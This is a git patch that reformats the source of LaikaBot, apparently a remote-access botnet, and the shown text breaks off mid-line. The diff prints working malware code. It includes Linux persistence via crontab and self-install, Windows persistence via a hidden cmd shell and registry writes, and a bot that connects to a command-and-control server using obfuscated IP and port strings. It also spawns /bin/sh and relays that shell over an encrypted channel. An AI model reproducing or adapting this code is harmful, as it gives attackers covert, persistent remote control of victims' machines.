From 48fa8935c33fad349945e4982e7cb8753f2aa6c2 Mon Sep 17 00:00:00 2001 From: CPunch Date: Mon, 27 Jun 2022 18:57:00 -0500 Subject: [PATCH] Added .clang-format, formatted codebase --- .clang-format | 28 +++++ bot/include/bot.h | 13 +- bot/include/shell.h | 10 +- bot/lin/linpersist.c | 61 ++++++---- bot/lin/linshell.c | 51 ++++---- bot/src/bot.c | 69 ++++++----- bot/src/main.c | 33 ++--- bot/src/shell.c | 51 ++++---- bot/win/winpersist.c | 79 +++++++----- bot/win/winshell.c | 119 ++++++++++-------- cnc/include/cnc.h | 14 ++- cnc/include/cpanel.h | 12 +- cnc/include/cpeer.h | 25 ++-- cnc/src/cnc.c | 197 +++++++++++++++++------------- cnc/src/cpanel.c | 67 ++++++----- cnc/src/cpeer.c | 59 +++++---- cnc/src/main.c | 48 +++++--- lib/include/laika.h | 30 +++-- lib/include/lbox.h | 135 +++++++++++---------- lib/include/lerror.h | 50 ++++---- lib/include/lmem.h | 48 ++++---- lib/include/lpacket.h | 141 +++++++++++----------- lib/include/lpeer.h | 51 ++++---- lib/include/lpolllist.h | 12 +- lib/include/lsocket.h | 121 ++++++++++--------- lib/include/ltask.h | 16 ++- lib/include/lvm.h | 189 ++++++++++++++++------------- lib/src/lmem.c | 6 +- lib/src/lpacket.c | 27 ++--- lib/src/lpeer.c | 214 ++++++++++++++++++--------------- lib/src/lpolllist.c | 108 ++++++++++------- lib/src/lsocket.c | 117 +++++++++++------- lib/src/lsodium.c | 19 +-- lib/src/ltask.c | 42 ++++--- shell/include/sclient.h | 9 +- shell/include/scmd.h | 7 +- shell/include/speer.h | 8 +- shell/include/sterm.h | 49 ++++---- shell/src/main.c | 62 ++++++---- shell/src/sclient.c | 154 ++++++++++++++---------- shell/src/scmd.c | 73 +++++++----- shell/src/speer.c | 54 ++++++--- shell/src/sterm.c | 245 ++++++++++++++++++++++++-------------- tools/genkey/src/main.c | 9 +- tools/vmboxgen/src/main.c | 49 +++++--- tools/vmtest/src/main.c | 17 ++- 46 files changed, 1756 insertions(+), 1242 deletions(-) create mode 100644 .clang-format diff --git a/.clang-format b/.clang-format new file mode 100644 index 0000000..d01fc1c --- /dev/null +++ b/.clang-format @@ -0,0 +1,28 @@ +--- +Language: Cpp +# BasedOnStyle: Mozilla +AccessModifierOffset: -2 +AlignAfterOpenBracket: Align +AlignArrayOfStructures: Right +AlignConsecutiveMacros: AcrossEmptyLinesAndComments +AlignConsecutiveAssignments: None +AlignConsecutiveBitFields: None +AlignConsecutiveDeclarations: None +AlignEscapedNewlines: Right +AlignOperands: Align +AlignTrailingComments: true +AllowAllArgumentsOnNextLine: true +AllowShortEnumsOnASingleLine: false +AllowShortFunctionsOnASingleLine: None +AllowShortBlocksOnASingleLine: Never +AllowShortIfStatementsOnASingleLine: Never +AlwaysBreakAfterReturnType: None +BreakBeforeBraces: Mozilla +IndentWidth: 4 +ColumnLimit: 100 +IncludeBlocks: Regroup +IndentPPDirectives: AfterHash +MacroBlockBegin: "^LAIKA_TRY$" +MacroBlockEnd: "^LAIKA_TRYEND$" +... + diff --git a/bot/include/bot.h b/bot/include/bot.h index dd38922..55fd20f 100644 --- a/bot/include/bot.h +++ b/bot/include/bot.h @@ -3,14 +3,15 @@ #include "laika.h" #include "lpacket.h" -#include "lsocket.h" #include "lpeer.h" -#include "ltask.h" #include "lpolllist.h" +#include "lsocket.h" #include "lsodium.h" +#include "ltask.h" struct sLaika_shell; -struct sLaika_bot { +struct sLaika_bot +{ uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; struct sLaika_shell *shells[LAIKA_MAX_SHELLS]; struct sLaika_pollList pList; @@ -23,9 +24,11 @@ struct sLaika_bot { struct sLaika_bot *laikaB_newBot(void); void laikaB_freeBot(struct sLaika_bot *bot); -void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */ +/* can throw a LAIKA_ERROR */ +void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); bool laikaB_poll(struct sLaika_bot *bot); -void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData); +void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, + void *uData); #endif \ No newline at end of file diff --git a/bot/include/shell.h b/bot/include/shell.h index cb41bb8..9f445fa 100644 --- a/bot/include/shell.h +++ b/bot/include/shell.h @@ -2,11 +2,13 @@ #define LAIKA_SHELL_H #include +#include #define LAIKA_SHELL_TASK_DELTA 50 struct sLaika_bot; -struct sLaika_shell { +struct sLaika_shell +{ uint32_t id; }; @@ -19,13 +21,15 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell); /* handles reading & writing to shell pipes */ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell); -bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length); +bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, + size_t length); /* packet handlers */ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); -void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData); +void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, + clock_t currTick, void *uData); #endif \ No newline at end of file diff --git a/bot/lin/linpersist.c b/bot/lin/linpersist.c index 586f149..c6675dc 100644 --- a/bot/lin/linpersist.c +++ b/bot/lin/linpersist.c @@ -1,32 +1,35 @@ /* platform specific code for achieving persistence on linux */ -#include -#include -#include -#include -#include - -#include "persist.h" -#include "lconfig.h" -#include "lsocket.h" -#include "lerror.h" #include "lbox.h" +#include "lconfig.h" +#include "lerror.h" #include "lmem.h" +#include "lsocket.h" +#include "persist.h" + +#include +#include +#include +#include +#include static int laikaB_lockFile; /* check if laika is running as super-user */ -bool laikaB_checkRoot() { +bool laikaB_checkRoot() +{ return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */ } /* mark that laika is currently running */ -void laikaB_markRunning() { - LAIKA_BOX_SKID_START(char*, filePath, LAIKA_LIN_LOCK_FILE); +void laikaB_markRunning() +{ + LAIKA_BOX_SKID_START(char *, filePath, LAIKA_LIN_LOCK_FILE); /* create lock file */ if ((laikaB_lockFile = open(filePath, O_RDWR | O_CREAT, 0666)) == -1) - LAIKA_ERROR("Couldn't open file lock '%s'! Another LaikaBot is probably running.\n", filePath); + LAIKA_ERROR("Couldn't open file lock '%s'! Another LaikaBot is probably running.\n", + filePath); /* create lock */ if (flock(laikaB_lockFile, LOCK_EX | LOCK_NB) != 0) @@ -37,7 +40,8 @@ void laikaB_markRunning() { } /* unmark that laika is currently running */ -void laikaB_unmarkRunning() { +void laikaB_unmarkRunning() +{ /* close lock */ if (flock(laikaB_lockFile, LOCK_UN) != 0) LAIKA_ERROR("Failed to close file lock!\n"); @@ -46,7 +50,8 @@ void laikaB_unmarkRunning() { LAIKA_DEBUG("file lock removed!\n"); } -void getCurrentExe(char *outPath, int pathSz) { +void getCurrentExe(char *outPath, int pathSz) +{ int sz; /* thanks linux :D */ @@ -56,7 +61,8 @@ void getCurrentExe(char *outPath, int pathSz) { outPath[sz] = '\0'; } -void getInstallPath(char *outPath, int pathSz) { +void getInstallPath(char *outPath, int pathSz) +{ struct stat st; const char *home; @@ -66,8 +72,8 @@ void getInstallPath(char *outPath, int pathSz) { } /* create install directory if it doesn't exist */ - LAIKA_BOX_SKID_START(char*, dirPath, LAIKA_LIN_INSTALL_DIR); - LAIKA_BOX_SKID_START(char*, filePath, LAIKA_LIN_INSTALL_FILE); + LAIKA_BOX_SKID_START(char *, dirPath, LAIKA_LIN_INSTALL_DIR); + LAIKA_BOX_SKID_START(char *, filePath, LAIKA_LIN_INSTALL_FILE); snprintf(outPath, pathSz, "%s/%s", home, dirPath); if (stat(outPath, &st) == -1) { LAIKA_DEBUG("creating '%s'...\n", outPath); @@ -79,7 +85,8 @@ void getInstallPath(char *outPath, int pathSz) { LAIKA_BOX_SKID_END(filePath); } -bool checkPersistCron(char *path) { +bool checkPersistCron(char *path) +{ char buf[PATH_MAX + 128]; FILE *fp; bool res = false; @@ -99,8 +106,9 @@ bool checkPersistCron(char *path) { return res; } -void tryPersistCron(char *path) { - LAIKA_BOX_SKID_START(char*, cronCMD, LAIKA_LIN_CRONTAB_ENTRY); +void tryPersistCron(char *path) +{ + LAIKA_BOX_SKID_START(char *, cronCMD, LAIKA_LIN_CRONTAB_ENTRY); char cmd[PATH_MAX + 128]; /* should be 'safe enough' */ @@ -115,7 +123,8 @@ void tryPersistCron(char *path) { } /* try to gain persistance on machine */ -void laikaB_tryPersist() { +void laikaB_tryPersist() +{ char exePath[PATH_MAX]; char installPath[PATH_MAX]; @@ -124,7 +133,8 @@ void laikaB_tryPersist() { getInstallPath(installPath, PATH_MAX); /* move exe to install path (if it isn't there already) */ - if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 && rename(exePath, installPath)) + if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 && + rename(exePath, installPath)) LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath); LAIKA_DEBUG("Successfully installed '%s'!\n", installPath); @@ -139,6 +149,7 @@ void laikaB_tryPersist() { } /* try to gain root */ -void laikaB_tryRoot() { +void laikaB_tryRoot() +{ /* stubbed */ } \ No newline at end of file diff --git a/bot/lin/linshell.c b/bot/lin/linshell.c index 38e1e64..5e35eb4 100644 --- a/bot/lin/linshell.c +++ b/bot/lin/linshell.c @@ -1,29 +1,32 @@ /* platform specific code for opening shells in linux */ -#include -#include -#include -#include -#include -#include - +#include "bot.h" #include "lerror.h" #include "lmem.h" #include "ltask.h" -#include "bot.h" #include "shell.h" +#include +#include +#include +#include +#include +#include + #define LAIKA_LINSHELL_PATH "/bin/sh" -struct sLaika_RAWshell { +struct sLaika_RAWshell +{ struct sLaika_shell _shell; int pid; int fd; }; -struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) { +struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) +{ struct winsize ws; - struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell)); + struct sLaika_RAWshell *shell = + (struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell)); ws.ws_col = cols; ws.ws_row = rows; @@ -32,21 +35,22 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro if (shell->pid == 0) { /* child process, clone & run shell */ - execlp(LAIKA_LINSHELL_PATH, "sh", (char*) NULL); + execlp(LAIKA_LINSHELL_PATH, "sh", (char *)NULL); exit(0); } /* make sure our calls to read() & write() do not block */ if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) { - laikaB_freeShell(bot, (struct sLaika_shell*)shell); + laikaB_freeShell(bot, (struct sLaika_shell *)shell); LAIKA_ERROR("Failed to set shell fd O_NONBLOCK"); } - return (struct sLaika_shell*)shell; + return (struct sLaika_shell *)shell; } -void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { - struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell; +void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) +{ + struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell; /* kill the shell */ kill(shell->pid, SIGTERM); @@ -57,13 +61,14 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { /* ====================================[[ Shell Handlers ]]===================================== */ -bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { - char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)]; +bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) +{ + char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)]; struct sLaika_peer *peer = bot->peer; struct sLaika_socket *sock = &peer->sock; - struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell; + struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell; - int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)); + int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)); if (rd > 0) { /* we read some input! send to cnc */ @@ -82,10 +87,12 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { return true; } -bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) { +bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, + size_t length) +{ struct sLaika_peer *peer = bot->peer; struct sLaika_socket *sock = &peer->sock; - struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell; + struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell; size_t nLeft; int nWritten; diff --git a/bot/src/bot.c b/bot/src/bot.c index e7db69e..31de2ca 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -1,19 +1,23 @@ +#include "bot.h" + +#include "lbox.h" +#include "lerror.h" #include "lmem.h" #include "lsodium.h" -#include "lerror.h" -#include "lbox.h" -#include "bot.h" #include "shell.h" -void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { - struct sLaika_bot *bot = (struct sLaika_bot*)uData; +void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) +{ + struct sLaika_bot *bot = (struct sLaika_bot *)uData; uint8_t endianness = laikaS_readByte(&peer->sock); peer->sock.flipEndian = endianness != laikaS_isBigEndian(); - LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE")); + LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", + (endianness ? "TRUE" : "FALSE")); } -void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { +void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) +{ LAIKA_DEBUG("got ping from cnc!\n"); /* stubbed */ } @@ -48,17 +52,19 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = { /* clang-format on */ /* socket event */ -void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) { - struct sLaika_peer *peer = (struct sLaika_peer*)sock; - struct sLaika_bot *bot = (struct sLaika_bot*)uData; +void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) +{ + struct sLaika_peer *peer = (struct sLaika_peer *)sock; + struct sLaika_bot *bot = (struct sLaika_bot *)uData; laikaS_kill(&bot->peer->sock); } /* ==========================================[[ Bot ]]========================================== */ -struct sLaika_bot *laikaB_newBot(void) { - LAIKA_BOX_SKID_START(char*, cncPubKey, LAIKA_PUBKEY); +struct sLaika_bot *laikaB_newBot(void) +{ + LAIKA_BOX_SKID_START(char *, cncPubKey, LAIKA_PUBKEY); struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot)); struct hostent *host; char *tempINBuf; @@ -66,16 +72,11 @@ struct sLaika_bot *laikaB_newBot(void) { int i; laikaP_initPList(&bot->pList); - bot->peer = laikaS_newPeer( - laikaB_pktTbl, - &bot->pList, - laikaB_onPollFail, - (void*)bot, - (void*)bot - ); + bot->peer = + laikaS_newPeer(laikaB_pktTbl, &bot->pList, laikaB_onPollFail, (void *)bot, (void *)bot); laikaT_initTaskService(&bot->tService); - laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void*)bot); + laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void *)bot); /* init shells */ for (i = 0; i < LAIKA_MAX_SHELLS; i++) { @@ -112,7 +113,7 @@ struct sLaika_bot *laikaB_newBot(void) { LAIKA_ERROR("gethostbyname() failed!\n"); } - if ((tempINBuf = inet_ntoa(*((struct in_addr*)host->h_addr_list[0]))) == NULL) { + if ((tempINBuf = inet_ntoa(*((struct in_addr *)host->h_addr_list[0]))) == NULL) { laikaB_freeBot(bot); LAIKA_ERROR("inet_ntoa() failed!\n"); } @@ -123,7 +124,8 @@ struct sLaika_bot *laikaB_newBot(void) { return bot; } -void laikaB_freeBot(struct sLaika_bot *bot) { +void laikaB_freeBot(struct sLaika_bot *bot) +{ int i; /* clear shells */ @@ -138,7 +140,8 @@ void laikaB_freeBot(struct sLaika_bot *bot) { laikaM_free(bot); } -void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) { +void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) +{ struct sLaika_socket *sock = &bot->peer->sock; /* setup socket */ @@ -153,17 +156,23 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) { laikaS_writeByte(sock, LAIKA_VERSION_MAJOR); laikaS_writeByte(sock, LAIKA_VERSION_MINOR); laikaS_writeByte(sock, LAIKA_OSTYPE); - laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */ + + /* write public key */ + laikaS_write(sock, bot->pub, sizeof(bot->pub)); laikaS_write(sock, bot->peer->hostname, LAIKA_HOSTNAME_LEN); laikaS_write(sock, bot->peer->inet, LAIKA_INET_LEN); laikaS_endOutPacket(bot->peer); - laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */ - if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0) + /* after the cnc receives our handshake, our packets will be encrypted */ + laikaS_setSecure(bot->peer, true); + + if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, + bot->peer->peerPub) != 0) LAIKA_ERROR("failed to gen session key!\n"); } -bool laikaB_poll(struct sLaika_bot *bot) { +bool laikaB_poll(struct sLaika_bot *bot) +{ struct sLaika_pollEvent *evnt; int numEvents; @@ -184,8 +193,10 @@ bool laikaB_poll(struct sLaika_bot *bot) { return true; } -void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { - struct sLaika_bot *bot = (struct sLaika_bot*)uData; +void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, + void *uData) +{ + struct sLaika_bot *bot = (struct sLaika_bot *)uData; laikaS_emptyOutPacket(bot->peer, LAIKAPKT_PINGPONG); } \ No newline at end of file diff --git a/bot/src/main.c b/bot/src/main.c index 9bcc23d..824a54b 100644 --- a/bot/src/main.c +++ b/bot/src/main.c @@ -1,26 +1,31 @@ -#include - +#include "bot.h" #include "lbox.h" #include "lconfig.h" #include "lerror.h" #include "ltask.h" -#include "bot.h" -#include "shell.h" #include "persist.h" +#include "shell.h" + +#include #ifdef _WIN32 -# ifndef DEBUG - int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) { -# else - int main() { -# endif +#ifndef DEBUG +int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) +{ #else - int main() { +int main() +{ #endif - /* these boxes are really easy to dump, they're unlocked at the very start of execution and left in memory the entire time. - not only that but they're only obfuscating the ip & port, both are things anyone would see from opening wireshark */ - LAIKA_BOX_SKID_START(char*, cncIP, LAIKA_CNC_IP); - LAIKA_BOX_SKID_START(char*, cncPORT, LAIKA_CNC_PORT); +#else +int main() +{ +#endif + /* these boxes are really easy to dump, they're unlocked at the very start of execution and left + in memory the entire time. + not only that but they're only obfuscating the ip & port, both are things anyone would see + from opening wireshark */ + LAIKA_BOX_SKID_START(char *, cncIP, LAIKA_CNC_IP); + LAIKA_BOX_SKID_START(char *, cncPORT, LAIKA_CNC_PORT); struct sLaika_bot *bot; #ifdef LAIKA_PERSISTENCE diff --git a/bot/src/shell.c b/bot/src/shell.c index 1d01f79..ec93ce9 100644 --- a/bot/src/shell.c +++ b/bot/src/shell.c @@ -1,24 +1,28 @@ -#include -#include -#include - -#include "lerror.h" -#include "lmem.h" -#include "bot.h" #include "shell.h" -struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) { +#include "bot.h" +#include "lerror.h" +#include "lmem.h" + +#include +#include +#include + +struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) +{ if (bot->activeShells++ > LAIKA_MAX_SHELLS) LAIKA_ERROR("Failed to allocate new shell, max shells reached!\n"); /* start shell task */ if (!bot->shellTask) - bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot); + bot->shellTask = + laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void *)bot); return bot->shells[id] = laikaB_newRAWShell(bot, cols, rows, id); } -void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { +void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) +{ uint32_t id = shell->id; /* tell cnc shell is closed */ @@ -39,8 +43,9 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { /* ====================================[[ Packet Handlers ]]==================================== */ -void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { - struct sLaika_bot *bot = (struct sLaika_bot*)uData; +void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) +{ + struct sLaika_bot *bot = (struct sLaika_bot *)uData; struct sLaika_shell *shell; uint32_t id; uint16_t cols, rows; @@ -61,8 +66,9 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD } } -void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { - struct sLaika_bot *bot = (struct sLaika_bot*)uData; +void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) +{ + struct sLaika_bot *bot = (struct sLaika_bot *)uData; struct sLaika_shell *shell; uint32_t id; @@ -76,31 +82,34 @@ void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u laikaB_freeShell(bot, shell); } -void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { +void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) +{ char buf[LAIKA_SHELL_DATA_MAX_LENGTH]; - struct sLaika_bot *bot = (struct sLaika_bot*)uData; + struct sLaika_bot *bot = (struct sLaika_bot *)uData; struct sLaika_shell *shell; uint32_t id; /* read data buf */ laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); - laikaS_read(&peer->sock, buf, sz-sizeof(uint32_t)); + laikaS_read(&peer->sock, buf, sz - sizeof(uint32_t)); /* sanity check shell */ if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id])) LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n"); /* write to shell */ - laikaB_writeShell(bot, shell, buf, sz-sizeof(uint32_t)); + laikaB_writeShell(bot, shell, buf, sz - sizeof(uint32_t)); } -void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { - struct sLaika_bot *bot = (struct sLaika_bot*)uData; +void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, + clock_t currTick, void *uData) +{ + struct sLaika_bot *bot = (struct sLaika_bot *)uData; struct sLaika_shell *shell; int i; for (i = 0; i < LAIKA_MAX_SHELLS; i++) { if ((shell = bot->shells[i])) - laikaB_readShell(bot, shell); + laikaB_readShell(bot, shell); } } \ No newline at end of file diff --git a/bot/win/winpersist.c b/bot/win/winpersist.c index acdea5b..c9c490a 100644 --- a/bot/win/winpersist.c +++ b/bot/win/winpersist.c @@ -1,28 +1,30 @@ /* platform specific code for achieving persistence on windows (FORCES ASCII) */ -#include #include #include +#include -#pragma comment(lib, "Shlwapi.lib") +#pragma comment(lib, "Shlwapi.lib") -#include "persist.h" -#include "lconfig.h" -#include "lmem.h" -#include "lerror.h" -#include "lvm.h" #include "lbox.h" +#include "lconfig.h" +#include "lerror.h" +#include "lmem.h" +#include "lvm.h" +#include "persist.h" HANDLE laikaB_mutex; /* check if laika is running as super-user */ -bool laikaB_checkRoot() { +bool laikaB_checkRoot() +{ return true; /* stubbed for now */ } /* mark that laika is currently running */ -void laikaB_markRunning() { - LAIKA_BOX_SKID_START(char*, mutex, LAIKA_WIN_MUTEX); +void laikaB_markRunning() +{ + LAIKA_BOX_SKID_START(char *, mutex, LAIKA_WIN_MUTEX); laikaB_mutex = OpenMutexA(MUTEX_ALL_ACCESS, false, mutex); @@ -37,11 +39,13 @@ void laikaB_markRunning() { } /* unmark that laika is currently running */ -void laikaB_unmarkRunning() { +void laikaB_unmarkRunning() +{ ReleaseMutex(laikaB_mutex); } -HKEY openReg(HKEY key, LPCSTR subKey) { +HKEY openReg(HKEY key, LPCSTR subKey) +{ HKEY hKey; if (RegOpenKeyExA(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS) @@ -51,7 +55,8 @@ HKEY openReg(HKEY key, LPCSTR subKey) { } /* returns raw string value from registry */ -LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz) { +LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz) +{ LPSTR str = NULL; DWORD ret; @@ -69,14 +74,16 @@ LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz) { return str; } -void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz) { +void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz) +{ LONG code; if ((code = RegSetValueExA(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS) LAIKA_ERROR("Failed to write registry!\n"); } -void getExecutablePath(LPSTR path) { +void getExecutablePath(LPSTR path) +{ CHAR modulePath[MAX_PATH] = {0}; if (GetModuleFileNameA(NULL, modulePath, MAX_PATH) == 0) LAIKA_ERROR("Failed to get executable path!\n"); @@ -88,12 +95,14 @@ void getExecutablePath(LPSTR path) { LAIKA_DEBUG("EXE: %s\n", path); } -void getInstallPath(LPSTR path) { - LAIKA_BOX_SKID_START(char*, instDir, LAIKA_WIN_INSTALL_DIR); - LAIKA_BOX_SKID_START(char*, instFile, LAIKA_WIN_INSTALL_FILE); +void getInstallPath(LPSTR path) +{ + LAIKA_BOX_SKID_START(char *, instDir, LAIKA_WIN_INSTALL_DIR); + LAIKA_BOX_SKID_START(char *, instFile, LAIKA_WIN_INSTALL_FILE); CHAR SHpath[MAX_PATH] = {0}; - /* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and microsoft will probably never completely remove it :P */ + /* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and + * microsoft will probably never completely remove it :P */ if (SHGetFolderPathA(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, SHpath) != S_OK) LAIKA_ERROR("Failed to get APPDATA!\n"); @@ -108,17 +117,18 @@ void getInstallPath(LPSTR path) { lstrcpyA(path, "\""); lstrcatA(path, SHpath); lstrcatA(path, "\""); - + LAIKA_DEBUG("INSTALL: %s\n", path); LAIKA_BOX_SKID_END(instFile); LAIKA_BOX_SKID_END(instDir); } -/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to the executable is open), so we - spawn a shell to move the exe *after* we exit. */ -void installSelf() { - CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH*4)] = {0}; +/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to + the executable is open), so we spawn a shell to move the exe *after* we exit. */ +void installSelf() +{ + CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH * 4)] = {0}; getExecutablePath(szFile); getInstallPath(szInstall); @@ -130,24 +140,27 @@ void installSelf() { LAIKA_DEBUG("moving '%s' to '%s'!\n", szFile, szInstall); - /* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika */ - lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y "); /* TODO: move this string to a secret box */ + /* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika + * TODO: move this string to a secret box */ + lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y "); lstrcatA(szCmd, szFile); lstrcatA(szCmd, " "); lstrcatA(szCmd, szInstall); lstrcatA(szCmd, " > NUL & "); lstrcatA(szCmd, szInstall); - if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 || (INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32) + if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 || + (INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32) LAIKA_ERROR("Failed to start shell for moving exe!\n"); laikaB_unmarkRunning(); exit(0); } -void installRegistry() { - LAIKA_BOX_SKID_START(char*, regKey, LAIKA_WIN_REG_KEY); - LAIKA_BOX_SKID_START(char*, regKeyVal, LAIKA_WIN_REG_VAL); +void installRegistry() +{ + LAIKA_BOX_SKID_START(char *, regKey, LAIKA_WIN_REG_KEY); + LAIKA_BOX_SKID_START(char 